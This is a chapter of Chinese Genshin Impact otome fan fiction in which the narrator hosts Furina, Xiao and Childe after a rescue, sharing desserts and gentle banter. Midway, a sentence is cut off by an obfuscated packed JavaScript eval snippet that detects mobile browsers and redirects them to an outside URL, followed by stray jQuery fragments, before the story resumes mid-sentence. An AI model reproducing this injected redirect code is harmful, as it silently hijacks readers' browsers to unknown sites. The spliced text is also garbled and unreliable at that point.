9. 你为什么端水端得这么熟练啊?

作品:《今天他们没有拆家【原神乙女】

    “哎呀。真粗暴啊。”长枪的寒芒点过去,那吸盘晃晃悠悠离开你的身体。这声音优雅又有些委婉的埋怨,像是歌剧的咏叹调,“就这么对待一位女士,即使是我看了都会觉得伤心的哦?”


    一团水色飘飘忽忽,泡泡一般飞到你眼前,你定睛一看,里面正是一只同色的小水母。


    “它长得也不像吸盘啊?”你有些困惑,索性问起了当事水母,“你刚刚不是这样的吧?”


    “刚刚嘛,当然是这样啦。”她灵活地换了个姿势,半蹲坐在气泡上,气泡又落在你的手背上,牢牢吸附了上去。


    “这下完全明白了。”你点头,“不知道该先问哪一个问题:水母好像是有毒的吧?就这么被水母吸住,难道我已经中毒了?而且为什么就这样吸上来啊?你应该不吃人的,对吧?”


    芙宁娜在思考,从哪里开始解释,更能展现友好,迅速缓和眼下的情形。她不是很想背上忽然出现并且扒拉你、似乎意图寄居或者让你中毒的这口锅——虽然她确实是忽然出现没错啦,但忽然从机械怪物上飘下来也不是她想的呀!


    魈在思考芙宁娜为什么说他“就这么对待一位女士”。首先,水母+泡泡的组合,并不能看出来她是位女士。如果她是在说魈拿长枪对着你这事,那就更不合理了——他是在保护你。而且不论她刚刚说的是谁,他还没点下去呢,总不可能真的给你一下啊。


    “公子你好,如果我因为水母中毒而晕倒,你需要替我拨打的三位数号码是——?”你采访达达利亚。


    “1——我说,不要总在这种时候忽然开始知识问答啊!”达达利亚有些头疼。


    “我说,也不要一上来就假设我有毒吧?”芙宁娜向你抗议。


    水母在说话。虽然这一类的事也不是发生过,但是已知大部分的水母都有毒性,而你刚跟水母近距离接触过,问:你完全没有受到水母毒性影响的概率是?


    “这是物种歧视。”水母小姐向你抗议。


    “我觉得不是。”你跟她理论,“如果是蛇的话,我也会仔细考虑这个问题。”


    “那你考虑的结果是?”


    “在公子拨打急救电话之前,我会认真听你解释的。”你颇为诚恳。


    “都说了不是有毒的水母!你仔细看看,这线条、这成色,简直能送进卢○宫,作为艺术品供人观赏!所以,我的观点是,这就是水母艺术品,怎么能算是真正的水母呢?”


    “所以是摆件艺术品。”你归纳总结。


    “那倒也不是。蛋糕、是蛋糕啦!不觉得这个形状很适合用来塑形吗?果冻啊、慕斯啊,就是蛋糕顶上最漂亮的那一层,用这样的模型一扣,再冷藏一段时间——”


    “哇。”你发出了情绪饱满的赞美,“那你应该真的没有毒性,蛋糕塑要形用能接触食品的标准——如果符合规格的话。”


    “当然。现在你可以摸摸我了吧?”小水母叉腰,“像我这样精巧的慕斯层模型,就应该出现在厨房的流理台上,被精心收纳才对吧?一出现就在有着机械怪兽的高空,怎么说都不合理。”


    啊,厨房的流理台。你现在知道哪里不对了。如果她没有说错的话,她或许的确应该出现在你家厨房里,就和忽然出现的其他朋友一样。


    但你方才在有恶兽缠斗的特殊场域,或许是优先层级发生了更改,她出现在了这种地方。


    “当然。辛苦你了。”你伸手,让芙宁娜落在掌心。


    “让她下来自己走。”魈看了你一眼,“刚才还不确定安全程度,还是不要有太多肢体接触比较好。”


    “我不就说了一句‘粗暴’?”小水母在你掌中摇头晃脑,“我自己走也行。我扶着她,你离我远一点。”


    “——你实在不像一个模型。”魈垂眼,仔细研究水母的材质和构造。


    这就是摆明着在说芙宁娜可疑了。


    她别扭地倚在你手心,哼了一声,“你不许吃我做的慕斯蛋糕。”


    “嗯——要不你也上来?”你对着魈眨眼,“我肩膀上还有位置呢,另一只手捧着你也行。”


    环抱着你的达达利亚似乎要说些什么,你感受着他胸腔的振动,敏锐地抢先开口,“行,可以的,你也来,抱的下的。”


    不就是一只小鸟、一个橡胶小黄鸭、一只小水母吗?肩膀上搭一个就好,或者往怀里稍稍,完全放得下啊!


    达达利亚要说的话微妙地停住了,他顿了几秒,带着点别扭,“我不是这个意思。”


    不合理的、错误的,他就是那个意思。但话又说回来了,你到底为什么端水端得那么娴熟啊?


    三个特殊的朋友,两个不愿意变换形态。参考你口述的凯亚的经验,达达利亚成功抱着你开了传送。


    “咳。”魈出声示意你可以松开他的手。


    “噢噢。”你另一只手同时轻轻往前一托,穿着蓝色漂亮裙子的姑娘就出现在你的客厅里。


    “我可以用食材吗?我去给你做慕斯。”芙宁娜朝你眨眼。


    “可以的,先吃点东西吧。”你还没有等到自己落地,遂尝试着抬头看达达利亚,“公子,可以放我下来了。抱着不重吗?”


    那话又说回来了,你能有多重,和他另一个体型换算一下,你的份量怕也不比你刚刚托在手心的水母摆件重些。达达利亚摇头,“不重啊,要再抱一会吗?让你好好缓一缓。”


    你被他抱着,摇头的动作其实并不方便你看,只是他下巴的动作微微擦过你的发丝,有点痒。


    “没关系,我已经完全缓过来了,我现在一点也不晕了。”


    达达利亚轻轻把你放下,你落地第一件事,是检查自己手腕上有没有被勒出什么印子来。


    没肿,只是有些红。你看完手腕,看脚腕,最后总结成一句话,“公子,你在哪买的绳子呀,怪好使的。”


    “这我可发不了链接。这是我们才能用的东西。”达达利亚没有展开解释。准确地换算一下,他倒是能给你说明白。像人类的孩子自诞生便有毛发,那所谓的绳子,四舍五入,可以被看作是他的胎发,又或者是像龙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141119|196342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成长的过程中褪下的鳞甲。正因曾经是他的一部分,所以可以随他的意而动,换一个人来用都没有这么好的效果。


    不得不说,在这样频繁的联系下,你接待客人已经相当娴熟了。魈吃着你买的中式绿豆糕,绿豆的绵密与糖的滋味在唇舌之间散开,像山涧流水旁开满了小小的花。


    “不知道合不合你的口味。”你把最后一个马卡龙递给芙宁娜,“总觉得以你的口味,要加很多的糖才会够。”


    “很有洞察力呀。”她赞美你,“就谢谢你的款待啦。”


    你给达达利亚挑选的甜品是巧克力,他将巧克力握在手中,眉眼也不自觉地舒展几分,“谢谢。”


    你在挑选点心的时候抬眼看过行秋之前的方位。墙上的那卷《醉云帖》,已经把自己卷起来了。


    ——它仍然以卷轴的形式贴在墙上,但却没有因为重力散开分毫。醉心于物理研究的人倘若看了,想必会大为震撼,但你并没有探究和计算公式的意思,只是把桂花糕往格子里推了一分。他是该喜欢吃这点心的。


    达达利亚研究起传送的范围,芙宁娜保证不乱用电器,而慕斯也完全不需要使用烤箱,魈在楼下晒太阳,看你种的花。


    “今天也谢谢你啦。”你溜到他身侧,“是正好遇到的吗?”


    “花。今天的花瓶里,也插着琉璃百合。上次我来的时候,也闻到了这样的香气。”魈放轻声音。


    “原来你喜欢花呀。”插花要修剪、换水,添些营养,你经常想不起来打理,因此大多是迪卢克在照料,他带什么花回来,花瓶里就是什么,“原来花市上也有琉璃百合卖吗?”


    “不是喜欢花。”魈垂眼,他是喜欢安静,偏偏他能找到的最安静的地方,开满过琉璃百合,大概是习惯了从入眠到醒来都被这样的香气包裹,他出现在你身边的方式,也与这花相关。


    睡吧。梦境中,穿着白色衣衫的女子摇着什么枝叶,像是在晃着什么铃铛,又像是一面令旗,等醒来的时候就会好了。


    究竟是什么会好呢?意识一片混沌,魈分不清那是梦境,还是自己某段久远的记忆,但他知道那人是在引路:从噩梦中来,引到美梦中去。梦中的花丛与他常卧的那一片一般无二,他只是又一次侧躺在那片花中,让她将自己带去熟悉的地方。


    以前是去了哪里?一点也想不起来。但是这次睁眼的时候,他知道会看到你。


    魈睁眼,他居然不在熟悉的花旁边,但他一眼就看到你被绳子绑在一只巨兽的背上,你跟着上下颠簸、脸色苍白,却没有要挣扎的意思。


    “没有什么要谢我的,是他没有照顾好你。”魈忽然同你的视线相对。“你同他们之间是什么关系,同我又是什么关系,这些我一概不知。但关于我的事,我隐约能猜到一点。倘你有难,便以琉璃百合来唤我吧。”


    “嗯?你给自己起的代号是琉璃百合?”你似乎有些诧异。


    魈屈指,悬停在离你额心不远的地方,作势要弹,“我是说,你的身边要有一只琉璃百合。”